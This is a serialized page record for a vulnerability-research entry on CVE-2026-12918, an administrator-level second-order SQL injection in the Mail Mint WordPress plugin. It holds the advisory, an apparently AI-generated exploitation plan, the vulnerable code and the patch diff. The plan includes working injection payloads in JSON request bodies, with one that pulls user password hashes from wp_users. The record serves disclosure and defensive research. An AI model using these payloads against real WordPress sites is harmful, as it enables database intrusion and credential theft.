[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"$fPO8DHUwYWsnjY11C3pjvFmK6ACzbNZ6__kIVOtzwHPw":3},{"id":4,"url_slug":5,"title":6,"description":7,"plugin_slug":8,"theme_slug":9,"affected_versions":10,"patched_in_version":11,"severity":12,"cvss_score":13,"cvss_vector":14,"vuln_type":15,"published_date":16,"updated_date":17,"references":18,"days_to_patch":20,"patch_diff_files":21,"patch_trac_url":9,"research_status":30,"research_verified":31,"research_rounds_completed":32,"research_plan":33,"research_summary":34,"research_vulnerable_code":35,"research_fix_diff":36,"research_exploit_outline":37,"research_model_used":38,"research_started_at":39,"research_completed_at":40,"research_error":9,"poc_status":9,"poc_video_id":9,"poc_summary":9,"poc_steps":9,"poc_tested_at":9,"poc_wp_version":9,"poc_php_version":9,"poc_playwright_script":9,"poc_exploit_code":9,"poc_has_trace":31,"poc_model_used":9,"poc_verification_depth":9,"poc_exploit_code_gated":31,"source_links":41},"CVE-2026-12918","mail-mint-authenticated-administrator-sql-injection-via-recipients-parameter","Mail Mint \u003C= 1.24.1 - Authenticated (Administrator+) SQL Injection via 'recipients' Parameter","The Mail Mint – Email Marketing, Newsletter, Email Automation & WooCommerce Emails plugin for WordPress is vulnerable to generic SQL Injection via the 'recipients' parameter in all versions up to, and including, 1.24.1 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for authenticated attackers, with administrator-level access and above, to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database. This is a second-order SQL injection: the malicious payload is first stored unsanitized via a POST request to \u002Fmrm\u002Fv1\u002Fcampaigns\u002F (bypassing filter_recipients() validation because an int-cast of a string like '1) OR ...' evaluates to a real numeric ID), and is then triggered by a subsequent GET request to \u002Fmrm\u002Fv1\u002Fcampaigns\u002F{id} that deserializes the recipients and passes the raw id string through array_column() into the vulnerable query.","mail-mint",null,"\u003C=1.24.1","1.24.2","medium",4.9,"CVSS:3.1\u002FAV:N\u002FAC:L\u002FPR:H\u002FUI:N\u002FS:U\u002FC:H\u002FI:N\u002FA:N","Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","2026-07-09 20:55:55","2026-07-10 09:32:44",[19],"https:\u002F\u002Fwww.wordfence.com\u002Fthreat-intel\u002Fvulnerabilities\u002Fid\u002Fbf7c500e-311f-4db5-8a54-de7b02fb11dd?source=api-prod",1,[22,23,24,25,26,27,28,29],"README.txt","app\u002FAPI\u002FActions\u002FAdmin\u002FCampaign\u002FCampaignAnalyticsAction.php","app\u002FAPI\u002FActions\u002FAdmin\u002FContact\u002FContactImportAction.php","app\u002FAPI\u002FControllers\u002FAdmin\u002FCampaignController.php","app\u002FAPI\u002FControllers\u002FAdmin\u002FCampaignEmailController.php","app\u002FAPI\u002FControllers\u002FAdmin\u002FContact\u002FContactImportController.php","app\u002FAPI\u002FControllers\u002FAdmin\u002FIntegrationDataController.php","app\u002FAPI\u002FRoutes\u002FAdmin\u002FCampaignRoute.php","researched",false,3,"This research plan outlines the steps required to demonstrate the second-order SQL injection vulnerability in the Mail Mint plugin.\n\n### 1. Vulnerability Summary\nThe Mail Mint plugin is vulnerable to an authenticated (Administrator+) SQL injection. The vulnerability is \"second-order,\" meaning the malicious payload is stored in the database during one request and executed during a subsequent request. \n\n- **Storage Sink:** A `POST` request to create or update a campaign (`\u002Fmrm\u002Fv1\u002Fcampaigns\u002F`) stores the `recipients` parameter. While the plugin performs a validation check (allegedly via a function named `filter_recipients()`), this check is bypassed because casting a string like `1) OR ...` to an integer results in a valid numeric ID (e.g., `1`), satisfying basic \"is numeric\" checks.\n- **Execution Sink:** A `GET` request to retrieve the campaign details (`\u002Fmrm\u002Fv1\u002Fcampaigns\u002F{id}`) triggers the vulnerability. The stored JSON-encoded `recipients` are deserialized, and the `id` values are extracted (e.g., via `array_column()`) and concatenated directly into an SQL query without proper escaping or preparation (likely in an `IN` clause).\n\n### 2. Attack Vector Analysis\n- **Endpoint:** `\u002Fwp-json\u002Fmrm\u002Fv1\u002Fcampaigns\u002F`\n- **Vulnerable Parameter:** `recipients`\n- **Authentication:** Required (Administrator or user with `mint_manage_campaigns` capability).\n- **Preconditions:** The plugin must be installed and activated.\n- **Payload Type:** Time-based blind SQL Injection (using `SLEEP()`).\n\n### 3. Code Flow\n1. **Entry Point (Storage):** `CampaignRoute::register_routes` registers the `POST` \u002F `EDITABLE` route for `\u002Fmrm\u002Fv1\u002Fcampaigns\u002F` mapping to `CampaignController::create_or_update`.\n2. **Persistence:** `CampaignController::create_or_update` calls `handle_campaign_create` or `handle_campaign_update`. The parameters (including `recipients`) are processed. The `recipients` array is serialized\u002Fstored in the database (likely in the `wp_mint_campaigns` table).\n3. **Entry Point (Trigger):** `CampaignRoute::register_routes` registers the `READABLE` route for `\u002Fmrm\u002Fv1\u002Fcampaigns\u002F(?P\u003Ccampaign_id>[\\d]+)` mapping to `CampaignController::get_single`.\n4. **Processing:** `get_single` retrieves the campaign data.\n5. **SQL Injection Sink:** During the retrieval process, the plugin attempts to resolve the recipients' details. It takes the stored `recipients` string, deserializes it, and uses the `id` field from the objects. These IDs are passed to a query (likely via `CampaignRepository`) that looks like:\n   `SELECT ... FROM ... WHERE id IN ($id_from_payload)`\n   Because the payload is `1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`, the resulting SQL becomes:\n   `SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -)`\n\n### 4. Nonce Acquisition Strategy\nThe exploitation requires a `wp_rest` nonce to interact with the REST API using session cookies.\n\n1. **Create Page:** Create a dummy page containing the Mail Mint dashboard (the plugin usually localizes its settings on its own admin pages).\n   `wp post create --post_type=page --post_status=publish --post_title=\"MailMint Dashboard\" --post_content='[mail_mint_dashboard]'` (Shortcode inferred from common plugin patterns).\n2. **Navigate:** Use `browser_navigate` to `wp-admin\u002Fadmin.php?page=mail-mint`.\n3. **Extract Nonce:** Use `browser_eval` to extract the WordPress REST nonce from the global `wpApiSettings` object.\n   - **JS Variable:** `window.wpApiSettings.nonce`\n4. **Alternate Extraction:** If `wpApiSettings` is missing, check the localized script for Mail Mint:\n   - **JS Variable:** `window.mrm_admin?.nonce` (Inferred from standard Mail Mint localization).\n\n### 5. Exploitation Strategy\n\n#### Step 1: Create a Malicious Campaign (Storage Phase)\nSend a POST request to store the payload.\n- **Method:** `POST`\n- **URL:** `\u002Fwp-json\u002Fmrm\u002Fv1\u002Fcampaigns\u002F`\n- **Headers:** \n    - `X-WP-Nonce`: `[EXTRACTED_NONCE]`\n    - `Content-Type`: `application\u002Fjson`\n- **Body:**\n```json\n{\n  \"title\": \"Exploit Campaign\",\n  \"status\": \"draft\",\n  \"type\": \"regular\",\n  \"recipients\": [\n    {\n      \"id\": \"1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -\",\n      \"type\": \"list\"\n    }\n  ]\n}\n```\n*Note: The ID `1` should correspond to a valid list ID in the database to ensure the query reaches the vulnerable logic.*\n\n#### Step 2: Extract Campaign ID\nThe response from Step 1 will contain the `campaign_id`. Record this ID.\n\n#### Step 3: Trigger the SQL Injection (Execution Phase)\nPerform a GET request for the newly created campaign and measure the response time.\n- **Method:** `GET`\n- **URL:** `\u002Fwp-json\u002Fmrm\u002Fv1\u002Fcampaigns\u002F[CAMPAIGN_ID]`\n- **Headers:** \n    - `X-WP-Nonce`: `[EXTRACTED_NONCE]`\n\n### 6. Test Data Setup\n1. **User:** Ensure an Administrator user is created and logged in.\n2. **List:** Create at least one contact list so that a valid recipient ID exists.\n   `wp eval \"Mint\\MRM\\DataBase\\Models\\ContactGroupModel::insert(['name' => 'Test List', 'slug' => 'test-list', 'type' => 'list']);\"`\n3. **Authentication:** Log in to the WordPress dashboard to establish the session.\n\n### 7. Expected Results\n- **Step 1:** The server should return a `200 OK` or `201 Created` with a JSON object containing the `campaign_id`.\n- **Step 3:** The server response should be delayed by approximately 10 seconds. This confirms the `SLEEP(10)` command was successfully executed by the database engine.\n\n### 8. Verification Steps\nAfter Step 3, verify the storage via WP-CLI:\n1. **Check Database:** Query the campaign table directly to see the raw payload stored in the `recipients` column.\n   `wp db query \"SELECT recipients FROM wp_mint_campaigns ORDER BY id DESC LIMIT 1;\"`\n2. **Check Logs:** If enabled, checking the MySQL general log will show the malformed query being executed:\n   `SELECT ... WHERE id IN (1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -)`\n\n### 9. Alternative Approaches\nIf time-based blind fails (e.g., due to database timeouts or WAF):\n- **Error-Based:** Use `updatexml()` or `extractvalue()` in the `id` parameter if the plugin returns database errors in the REST response.\n  - Payload: `1) AND updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1)-- -`\n- **Boolean-Based:** If the response changes based on whether recipients are found, use boolean payloads.\n  - Payload: `1) AND (SELECT 1)=1-- -` vs `1) AND (SELECT 1)=2-- -`","The Mail Mint plugin is vulnerable to an authenticated second-order SQL injection through the 'recipients' parameter. An attacker with administrator-level access can store a malicious SQL payload in a campaign's metadata, which is subsequently executed without proper escaping when the plugin retrieves campaign details or analytics.","\u002F\u002F app\u002FAPI\u002FControllers\u002FAdmin\u002FCampaignController.php (around line 304 and 325 in v1.24.1)\n$recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : '';\n$this->repository()->insertOrUpdateMeta( $campaign_id, 'recipients', $recipients );\n\n---\n\n\u002F\u002F app\u002FAPI\u002FActions\u002FAdmin\u002FCampaign\u002FCampaignAnalyticsAction.php (v1.24.1)\nprivate function calculate_total_email_sent( $campaign_id, ?array $date_range = null ): int {\n    global $wpdb;\n    $table_name = $wpdb->prefix . 'mint_broadcast_emails';\n\n    if ( ! empty( $date_range['start'] ) && ! empty( $date_range['end'] ) ) {\n        return (int) $wpdb->get_var( $wpdb->prepare( \"SELECT COUNT(id) FROM {$table_name} WHERE campaign_id = %d AND created_at BETWEEN %s AND %s\", $campaign_id, $date_range['start'], $date_range['end'] ) ); \u002F\u002Fphpcs:ignore\n    }\n\n    return (int) $wpdb->get_var( $wpdb->prepare( \"SELECT COUNT(id) FROM {$table_name} WHERE campaign_id = %d\", $campaign_id ) ); \u002F\u002Fphpcs:ignore\n}","--- \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.1\u002Fapp\u002FAPI\u002FControllers\u002FAdmin\u002FCampaignController.php\t2026-06-15 10:10:22.000000000 +0000\n+++ \u002Fhome\u002Fdeploy\u002Fwp-safety.org\u002Fdata\u002Fplugin-versions\u002Fmail-mint\u002F1.24.2\u002Fapp\u002FAPI\u002FControllers\u002FAdmin\u002FCampaignController.php\t2026-07-01 09:58:08.000000000 +0000\n@@ -301,7 +301,7 @@\n \t\t\treturn '';\n \t\t}\n \n-\t\t$recipients = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : '';\n+\t\t$recipients = isset( $params['recipients'] ) ? maybe_serialize( $this->sanitize_recipient_ids( $params['recipients'] ) ) : '';\n \t\t$this->repository()->insertOrUpdateMeta( $campaign_id, 'recipients', $recipients );\n \t\t$this->save_utm_params( $campaign_id, $params );\n \t\t$this->save_archive_setting( $campaign_id, $params );\n@@ -322,7 +322,7 @@\n \t * @param array      $params      Request parameters.\n \t *\u002F\n \tprivate function save_campaign_meta( $campaign_id, array $params ) {\n-\t\t$recipients       = isset( $params['recipients'] ) ? maybe_serialize( $params['recipients'] ) : '';\n+\t\t$recipients       = isset( $params['recipients'] ) ? maybe_serialize( $this->sanitize_recipient_ids( $params['recipients'] ) ) : '';\n \t\t$total_recipients = isset( $params['totalRecipients'] ) ? $params['","The exploitation of this second-order SQL injection involves two distinct phases requiring Administrator or user with 'mint_manage_campaigns' capabilities.\n\n1. Phase 1 (Storage): The attacker sends a POST request to create or update a campaign at the `\u002Fwp-json\u002Fmrm\u002Fv1\u002Fcampaigns\u002F` endpoint. The `recipients` parameter is populated with a JSON object where the `id` field contains a malicious SQL payload (e.g., `1) AND (SELECT 1 FROM (SELECT(SLEEP(10)))a)-- -`). Because a string starting with a number passes the plugin's basic numeric validation checks when cast to an integer, the raw string payload is serialized and stored in the database metadata.\n\n2. Phase 2 (Triggering): The attacker records the `campaign_id` from the creation response and then sends a GET request to the campaign retrieval or analytics endpoint (e.g., `\u002Fwp-json\u002Fmrm\u002Fv1\u002Fcampaigns\u002F{id}`). During the retrieval process, the plugin deserializes the `recipients` data and uses the `id` values in an SQL query (typically within an `IN` clause or similar filter) without applying `wpdb->prepare` or escaping to the specific IDs. This executes the stored payload, which can be verified via time-based response delays.","gemini-3-flash-preview","2026-07-15 10:16:53","2026-07-15 10:17:20",{"type":42,"vulnerable_version":43,"fixed_version":11,"vulnerable_browse":44,"vulnerable_zip":45,"fixed_browse":46,"fixed_zip":47,"all_tags":48},"plugin","1.24.1","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmail-mint\u002Ftags\u002F1.24.1","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmail-mint.1.24.1.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmail-mint\u002Ftags\u002F1.24.2","https:\u002F\u002Fdownloads.wordpress.org\u002Fplugin\u002Fmail-mint.1.24.2.zip","https:\u002F\u002Fplugins.trac.wordpress.org\u002Fbrowser\u002Fmail-mint\u002Ftags"]